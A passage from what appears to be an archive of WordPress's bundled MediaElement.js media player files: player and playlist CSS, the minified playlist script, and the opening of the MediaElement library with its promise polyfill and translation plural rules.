-webkit-backface-visibility: hidden; background: rgba(50, 50, 50, 0.7); border-radius: 0; bottom: 100%; display: none; height: 115px; left: 50%; margin: 0; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 25px; z-index: 1; } .mejs__volume-button:hover { border-radius: 0 0 4px 4px; } .mejs__volume-total { background: rgba(255, 255, 255, 0.5); height: 100px; left: 50%; margin: 0; position: absolute; top: 8px; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 2px; } .mejs__volume-current { background: rgba(255, 255, 255, 0.9); left: 0; margin: 0; position: absolute; width: 100%; } .mejs__volume-handle { background: rgba(255, 255, 255, 0.9); border-radius: 1px; cursor: ns-resize; height: 6px; left: 50%; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 16px; } .mejs__horizontal-volume-slider { display: block; height: 36px; position: relative; vertical-align: middle; width: 56px; } .mejs__horizontal-volume-total { background: rgba(50, 50, 50, 0.8); border-radius: 2px; font-size: 1px; height: 8px; left: 0; margin: 0; padding: 0; position: absolute; top: 16px; width: 50px; } .mejs__horizontal-volume-current { background: rgba(255, 255, 255, 0.8); border-radius: 2px; font-size: 1px; height: 100%; left: 0; margin: 0; padding: 0; position: absolute; top: 0; width: 100%; } .mejs__horizontal-volume-handle { display: none; } /* End: Mute/Volume */ /* Start: Track (Captions and Chapters) */ .mejs__captions-button, .mejs__chapters-button { position: relative; } .mejs__captions-button > button { background-position: -140px 0; } .mejs__chapters-button > button { background-position: -180px 0; } .mejs__captions-button > .mejs__captions-selector, .mejs__chapters-button > .mejs__chapters-selector { background: rgba(50, 50, 50, 0.7); border: solid 1px transparent; border-radius: 0; bottom: 100%; margin-right: -43px; overflow: hidden; padding: 0; position: absolute; right: 50%; visibility: visible; width: 86px; } .mejs__chapters-button > .mejs__chapters-selector { margin-right: -55px; width: 110px; } .mejs__captions-selector-list, .mejs__chapters-selector-list { list-style-type: none !important; margin: 0; overflow: hidden; padding: 0; } .mejs__captions-selector-list-item, .mejs__chapters-selector-list-item { color: #fff; cursor: pointer; display: block; list-style-type: none !important; margin: 0 0 6px; overflow: hidden; padding: 0; } .mejs__captions-selector-list-item:hover, .mejs__chapters-selector-list-item:hover { background-color: rgb(200, 200, 200) !important; background-color: rgba(255, 255, 255, 0.4) !important; } .mejs__captions-selector-input, .mejs__chapters-selector-input { clear: both; float: left; left: -1000px; margin: 3px 3px 0 5px; position: absolute; } .mejs__captions-selector-label, .mejs__chapters-selector-label { cursor: pointer; float: left; font-size: 10px; line-height: 15px; padding: 4px 10px 0; width: 100%; } .mejs__captions-selected, .mejs__chapters-selected { color: rgba(33, 248, 248, 1); } .mejs__captions-translations { font-size: 10px; margin: 0 0 5px; } .mejs__captions-layer { bottom: 0; color: #fff; font-size: 16px; left: 0; line-height: 20px; position: absolute; text-align: center; } .mejs__captions-layer a { color: #fff; text-decoration: underline; } .mejs__captions-layer[lang=ar] { font-size: 20px; font-weight: normal; } .mejs__captions-position { bottom: 15px; left: 0; position: absolute; width: 100%; } .mejs__captions-position-hover { bottom: 35px; } .mejs__captions-text, .mejs__captions-text * { background: rgba(20, 20, 20, 0.5); box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5); padding: 0; white-space: pre-wrap; } .mejs__container.mejs__hide-cues video::-webkit-media-text-track-container { display: none; } /* End: Track (Captions and Chapters) */ /* Start: Error */ .mejs__overlay-error { position: relative; } .mejs__overlay-error > img { left: 0; max-width: 100%; position: absolute; top: 0; z-index: -1; } .mejs__cannotplay, .mejs__cannotplay a { color: #fff; font-size: 0.8em; } .mejs__cannotplay { position: relative; } .mejs__cannotplay p, .mejs__cannotplay a { display: inline-block; padding: 0 15px; width: 100%; } /* End: Error */ mediaelement/wp-mediaelement.css 0000644 00000011540 15111757752 0013000 0 ustar 00 .mejs-container { clear: both; max-width: 100%; } .mejs-container * { font-family: Helvetica, Arial; } .mejs-container, .mejs-embed, .mejs-embed body, .mejs-container .mejs-controls { background: #222; } .mejs-time { font-weight: normal; word-wrap: normal; } .mejs-controls a.mejs-horizontal-volume-slider { display: table; } .mejs-controls .mejs-time-rail .mejs-time-loaded, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current { background: #fff; } .mejs-controls .mejs-time-rail .mejs-time-current { background: #0073aa; } .mejs-controls .mejs-time-rail .mejs-time-total, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total { background: rgba(255, 255, 255, .33); } .mejs-controls .mejs-time-rail span, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current { border-radius: 0; } .mejs-overlay-loading { background: transparent; } /* Override theme styles that may conflict with controls. */ .mejs-controls button:hover { border: none; -webkit-box-shadow: none; box-shadow: none; } .me-cannotplay { width: auto !important; } .media-embed-details .wp-audio-shortcode { display: inline-block; max-width: 400px; } .audio-details .embed-media-settings { overflow: visible; } .media-embed-details .embed-media-settings .setting span:not(.button-group) { max-width: 400px; /* Back-compat for pre-5.3 */ width: auto; /* Back-compat for pre-5.3 */ } .media-embed-details .embed-media-settings .checkbox-setting span { display: inline-block; } .media-embed-details .embed-media-settings { padding-top: 0; top: 28px; } .media-embed-details .instructions { padding: 16px 0; max-width: 600px; } .media-embed-details .setting p, .media-embed-details .setting .remove-setting { color: #a00; font-size: 10px; text-transform: uppercase; } .media-embed-details .setting .remove-setting { padding: 5px 0; } .media-embed-details .setting a:hover { color: #dc3232; } .media-embed-details .embed-media-settings .checkbox-setting { float: none; margin: 0 0 10px; } .wp-video { max-width: 100%; height: auto; } .wp_attachment_holder .wp-video, .wp_attachment_holder .wp-audio-shortcode { margin-top: 18px; } video.wp-video-shortcode, .wp-video-shortcode video { max-width: 100%; display: inline-block; } .video-details .wp-video-holder { width: 100%; max-width: 640px; } .wp-playlist { border: 1px solid #ccc; padding: 10px; margin: 12px 0 18px; font-size: 14px; line-height: 1.5; } .wp-admin .wp-playlist { margin: 0 0 18px; } .wp-playlist video { display: inline-block; max-width: 100%; } .wp-playlist audio { display: none; max-width: 100%; width: 400px; } .wp-playlist .mejs-container { margin: 0; max-width: 100%; } .wp-playlist .mejs-controls .mejs-button button { outline: 0; } .wp-playlist-light { background: #fff; color: #000; } .wp-playlist-dark { color: #fff; background: #000; } .wp-playlist-caption { display: block; max-width: 88%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 14px; line-height: 1.5; } .wp-playlist-item .wp-playlist-caption { text-decoration: none; color: #000; max-width: -webkit-calc(100% - 40px); max-width: calc(100% - 40px); } .wp-playlist-item-meta { display: block; font-size: 14px; line-height: 1.5; } .wp-playlist-item-title { font-size: 14px; line-height: 1.5; } .wp-playlist-item-album { font-style: italic; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-playlist-item-artist { font-size: 12px; text-transform: uppercase; } .wp-playlist-item-length { position: absolute; right: 3px; top: 0; font-size: 14px; line-height: 1.5; } .rtl .wp-playlist-item-length { left: 3px; right: auto; } .wp-playlist-tracks { margin-top: 10px; } .wp-playlist-item { position: relative; cursor: pointer; padding: 0 3px; border-bottom: 1px solid #ccc; } .wp-playlist-item:last-child { border-bottom: 0; } .wp-playlist-light .wp-playlist-caption { color: #333; } .wp-playlist-dark .wp-playlist-caption { color: #ddd; } .wp-playlist-playing { font-weight: bold; background: #f7f7f7; } .wp-playlist-light .wp-playlist-playing { background: #fff; color: #000; } .wp-playlist-dark .wp-playlist-playing { background: #000; color: #fff; } .wp-playlist-current-item { overflow: hidden; margin-bottom: 10px; height: 60px; } .wp-playlist .wp-playlist-current-item img { float: left; max-width: 60px; height: auto; margin-right: 10px; padding: 0; border: 0; } .rtl .wp-playlist .wp-playlist-current-item img { float: right; margin-left: 10px; margin-right: 0; } .wp-playlist-current-item .wp-playlist-item-title, .wp-playlist-current-item .wp-playlist-item-artist { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-audio-playlist .me-cannotplay span { padding: 5px 15px; } mediaelement/wp-playlist.min.js 0000644 00000006565 15111757752 0012631 0 ustar 00 !function(r,e,i){"use strict";window.wp=window.wp||{};var t=i.View.extend({initialize:function(t){this.index=0,this.settings={},this.data=t.metadata||r.parseJSON(this.$("script.wp-playlist-script").html()),this.playerNode=this.$(this.data.type),this.tracks=new i.Collection(this.data.tracks),this.current=this.tracks.first(),"audio"===this.data.type&&(this.currentTemplate=wp.template("wp-playlist-current-item"),this.currentNode=this.$(".wp-playlist-current-item")),this.renderCurrent(),this.data.tracklist&&(this.itemTemplate=wp.template("wp-playlist-item"),this.playingClass="wp-playlist-playing",this.renderTracks()),this.playerNode.attr("src",this.current.get("src")),e.bindAll(this,"bindPlayer","bindResetPlayer","setPlayer","ended","clickTrack"),e.isUndefined(window._wpmejsSettings)||(this.settings=e.clone(_wpmejsSettings)),this.settings.success=this.bindPlayer,this.setPlayer()},bindPlayer:function(t){this.mejs=t,this.mejs.addEventListener("ended",this.ended)},bindResetPlayer:function(t){this.bindPlayer(t),this.playCurrentSrc()},setPlayer:function(t){this.player&&(this.player.pause(),this.player.remove(),this.playerNode=this.$(this.data.type)),t&&(this.playerNode.attr("src",this.current.get("src")),this.settings.success=this.bindResetPlayer),this.player=new MediaElementPlayer(this.playerNode.get(0),this.settings)},playCurrentSrc:function(){this.renderCurrent(),this.mejs.setSrc(this.playerNode.attr("src")),this.mejs.load(),this.mejs.play()},renderCurrent:function(){var t;"video"===this.data.type?(this.data.images&&this.current.get("image")&&-1===this.current.get("image").src.indexOf("wp-includes/images/media/video.svg")&&this.playerNode.attr("poster",this.current.get("image").src),(t=this.current.get("dimensions"))&&t.resized&&this.playerNode.attr(t.resized)):(this.data.images||this.current.set("image",!1),this.currentNode.html(this.currentTemplate(this.current.toJSON())))},renderTracks:function(){var e=this,i=1,s=r('<div class="wp-playlist-tracks"></div>');this.tracks.each(function(t){e.data.images||t.set("image",!1),t.set("artists",e.data.artists),t.set("index",!!e.data.tracknumbers&&i),s.append(e.itemTemplate(t.toJSON())),i+=1}),this.$el.append(s),this.$(".wp-playlist-item").eq(0).addClass(this.playingClass)},events:{"click .wp-playlist-item":"clickTrack","click .wp-playlist-next":"next","click .wp-playlist-prev":"prev"},clickTrack:function(t){t.preventDefault(),this.index=this.$(".wp-playlist-item").index(t.currentTarget),this.setCurrent()},ended:function(){this.index+1<this.tracks.length?this.next():(this.index=0,this.setCurrent())},next:function(){this.index=this.index+1>=this.tracks.length?0:this.index+1,this.setCurrent()},prev:function(){this.index=this.index-1<0?this.tracks.length-1:this.index-1,this.setCurrent()},loadCurrent:function(){var t=this.playerNode.attr("src")&&this.playerNode.attr("src").split(".").pop(),e=this.current.get("src").split(".").pop();this.mejs&&this.mejs.pause(),t!==e?this.setPlayer(!0):(this.playerNode.attr("src",this.current.get("src")),this.playCurrentSrc())},setCurrent:function(){this.current=this.tracks.at(this.index),this.data.tracklist&&this.$(".wp-playlist-item").removeClass(this.playingClass).eq(this.index).addClass(this.playingClass),this.loadCurrent()}});function s(){r(".wp-playlist:not(:has(.mejs-container))").each(function(){new t({el:this})})}window.wp.playlist={initialize:s},r(document).ready(s),window.WPPlaylistView=t}(jQuery,_,Backbone); mediaelement/mediaelement-and-player.js 0000644 00001007143 15111757752 0014237 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ },{}],2:[function(_dereq_,module,exports){ (function (global){ var topLevel = typeof global !== 'undefined' ? global : typeof window !== 'undefined' ? window : {} var minDoc = _dereq_(1); var doccy; if (typeof document !== 'undefined') { doccy = document; } else { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4']; if (!doccy) { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc; } } module.exports = doccy; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"1":1}],3:[function(_dereq_,module,exports){ (function (global){ var win; if (typeof window !== "undefined") { win = window; } else if (typeof global !== "undefined") { win = global; } else if (typeof self !== "undefined"){ win = self; } else { win = {}; } module.exports = win; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}],4:[function(_dereq_,module,exports){ (function (root) { // Store setTimeout reference so promise-polyfill will be unaffected by // other code modifying setTimeout (like sinon.useFakeTimers()) var setTimeoutFunc = setTimeout; function noop() {} // Polyfill for Function.prototype.bind function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function() { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } /** * Take a potentially misbehaving resolver function and make sure * onFulfilled and onRejected are only called once. * * Makes no guarantees about asynchrony. */ function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new (this.constructor)(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; // Use polyfill for setImmediate for performance gains Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) || function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console } }; /** * Set the immediate function to execute callbacks * @param fn {function} Function to execute * @deprecated */ Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; /** * Change the function to execute on unhandled rejection * @param {function} fn Function to execute on unhandled rejection * @deprecated */ Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } })(this); },{}],5:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _en = _dereq_(15); var _general = _dereq_(27); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var i18n = { lang: 'en', en: _en.EN }; i18n.language = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (args !== null && args !== undefined && args.length) { if (typeof args[0] !== 'string') { throw new TypeError('Language code must be a string value'); } if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) { throw new TypeError('Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters'); } i18n.lang = args[0]; if (i18n[args[0]] === undefined) { args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {}; i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN; } else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') { i18n[args[0]] = args[1]; } } return i18n.lang; }; i18n.t = function (message) { var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; if (typeof message === 'string' && message.length) { var str = void 0, pluralForm = void 0; var language = i18n.language(); var _plural = function _plural(input, number, form) { if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') { return input; } var _pluralForms = function () { return [function () { return arguments.length <= 1 ? undefined : arguments[1]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return [3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 1 ? undefined : arguments[1]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 5 ? undefined : arguments[5]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) { return arguments.length <= 4 ? undefined : arguments[4]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) { return arguments.length <= 5 ? undefined : arguments[5]; } else { return arguments.length <= 6 ? undefined : arguments[6]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }]; }(); return _pluralForms[form].apply(null, [number].concat(input)); }; if (i18n[language] !== undefined) { str = i18n[language][message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n[language]['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } if (!str && i18n.en) { str = i18n.en[message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n.en['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } str = str || message; if (pluralParam !== null && typeof pluralParam === 'number') { str = str.replace('%1', pluralParam); } return (0, _general.escapeHTML)(str); } return message; }; _mejs2.default.i18n = i18n; if (typeof mejsL10n !== 'undefined') { _mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings); } exports.default = i18n; },{"15":15,"27":27,"7":7}],6:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(27); var _media2 = _dereq_(28); var _renderer = _dereq_(8); var _constants = _dereq_(25); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var MediaElement = function MediaElement(idOrNode, options, sources) { var _this = this; _classCallCheck(this, MediaElement); var t = this; sources = Array.isArray(sources) ? sources : null; t.defaults = { renderers: [], fakeNodeName: 'mediaelementwrapper', pluginPath: 'build/', shimScriptAccess: 'sameDomain' }; options = Object.assign(t.defaults, options); t.mediaElement = _document2.default.createElement(options.fakeNodeName); var id = idOrNode, error = false; if (typeof idOrNode === 'string') { t.mediaElement.originalNode = _document2.default.getElementById(idOrNode); } else { t.mediaElement.originalNode = idOrNode; id = idOrNode.id; } if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) { return null; } t.mediaElement.options = options; id = id || 'mejs_' + Math.random().toString().slice(2); t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs'); var tagName = t.mediaElement.originalNode.tagName.toLowerCase(); if (['video', 'audio'].indexOf(tagName) > -1 && 